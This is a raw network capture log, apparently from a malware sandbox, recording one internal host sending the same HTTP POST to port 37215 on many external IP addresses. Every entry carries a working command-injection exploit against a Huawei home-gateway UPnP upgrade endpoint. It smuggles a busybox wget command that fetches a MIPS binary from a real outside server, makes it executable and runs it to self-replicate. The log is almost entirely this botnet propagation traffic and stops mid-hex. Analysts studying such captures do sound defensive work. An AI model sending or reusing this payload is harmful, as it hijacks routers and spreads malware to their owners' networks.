Jul 20, 2024 23:10:39.430383921 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.15	41284	107.103.239.103	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430383921 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.15	60840	41.109.80.153	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430691957 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.15	59080	166.129.166.145	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430691957 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.15	58302	197.130.106.175	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430691957 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.15	52656	41.101.180.53	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.430691957 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.15	47204	41.135.100.3	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.15	39720	41.48.64.8	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.15	42676	157.135.74.226	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.15	59122	197.91.175.126	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.15	37834	197.43.242.43	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 